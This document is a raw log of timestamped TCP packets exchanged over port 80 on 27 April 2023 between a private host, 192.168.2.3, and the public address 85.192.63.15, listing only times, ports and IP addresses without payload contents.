Apr 27, 2023 07:41:59.960583925 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.960587978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.960601091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.960638046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.960659027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.963237047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.963267088 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.963285923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.963314056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.963382006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.963526964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.963551044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.963608027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.963608027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.965218067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.965248108 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.965266943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.965368032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.965368032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.965389013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.965409994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.965459108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.965483904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.972007990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.972048044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.972071886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.972093105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.972131014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.972192049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.973640919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.973709106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.973774910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.973826885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.973882914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.973882914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.973948002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.975207090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.975244999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.975275993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.975306034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.975307941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.975338936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.975485086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.976798058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.976834059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.976866007 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.976874113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.976891041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.976895094 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.976931095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.976953030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.981805086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.981837988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.981868982 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.981892109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.981923103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.981920958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.981920958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.981946945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.981971979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.981971979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.982084990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.985100985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.985133886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.985162020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.985181093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.985188007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.985202074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.985210896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.985228062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.985248089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.986980915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.987025976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.987054110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.987075090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.987092972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.987092972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.987124920 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.990247965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.990281105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.990304947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.990328074 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.990366936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.990398884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.992082119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.992135048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.992161036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.992187023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.992208004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.992254019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.992254019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.992254019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.992326021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.993613958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.993652105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.993674994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.993696928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.993700981 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.993719101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.993721962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.993741989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.993758917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.993788004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.997236013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.997262955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.997288942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.997313976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.997335911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.997370005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.997370005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.997411013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.998955011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.998980999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.999003887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.999027967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.999063015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:59.999116898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.999116898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:59.999116898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.006076097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.006114006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.006138086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.006156921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.006226063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.006258011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.007481098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.007518053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.007540941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.007567883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.007589102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.007649899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.007649899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.007649899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.009377956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.009414911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.009439945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.009463072 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.009547949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.009547949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.009548903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.011012077 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.011050940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.011104107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.011113882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.011136055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.011146069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.011173964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.011195898 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.014462948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.014533043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.014564037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.014590979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.014591932 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.014607906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.014647007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.016200066 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.016237974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.016267061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.016294003 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.016295910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.016347885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.016392946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.019547939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.019587040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.019618988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.019644022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.019644022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.019663095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.019704103 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.021054983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.021120071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.021163940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.021182060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.021207094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.021241903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.021254063 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.021291971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.021328926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.024478912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.024533987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.024559975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.024579048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.024581909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.024615049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.024662018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.044511080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.044538021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.044563055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.044584036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.044636011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.044703007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.081027985 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.081067085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.081095934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.081123114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.081146002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.081165075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.081197977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.081222057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.082669020 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.082716942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.082737923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.082762957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.082767963 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.082796097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.082818031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.082837105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.082864046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.085921049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.085958004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.085987091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.086014032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.086045980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.086083889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.087579966 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.087610960 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.087636948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.087658882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.087749004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.087749958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.087749958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.091278076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.091310024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.091334105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.091355085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.091399908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.091439962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.092921019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.092961073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.092982054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.093009949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.093033075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.093070030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.093070030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.093135118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.094531059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.094594002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.094623089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.094641924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.094667912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.094686031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.094690084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.094712019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.094748020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.116436005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.116527081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.116560936 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.116579056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.116602898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.116624117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.116717100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.116718054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.116718054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.117947102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.117981911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.118016958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.118040085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.118103981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.118103981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.118104935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.121118069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.121149063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.121181011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.121205091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.121234894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.121253014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.121258974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.121308088 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.121335030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.123152018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.123188019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.123217106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.123240948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.123327971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.123328924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.125988007 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.128053904 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.128084898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.128114939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.128163099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.128173113 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.128231049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.128231049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.128231049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.128252029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.128278971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.128354073 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.129741907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.129779100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.129808903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.129832983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.129838943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.133207083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.133249044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.133279085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.133280039 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.133280039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.133301973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.133306980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.133347034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.133390903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.134771109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.134810925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.134843111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.134865046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.134902000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.134931087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.138025045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.138056993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.138076067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.138101101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.138120890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.138174057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.138215065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.143150091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.143260002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.143307924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.143335104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.143356085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.143460035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.143460035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.144767046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.144797087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.144865990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.144900084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.144926071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.144953966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.144953966 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.145020008 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.146558046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.146586895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.146631956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.146665096 CEST	80	49697	85.192.63.15	192.168.2.3
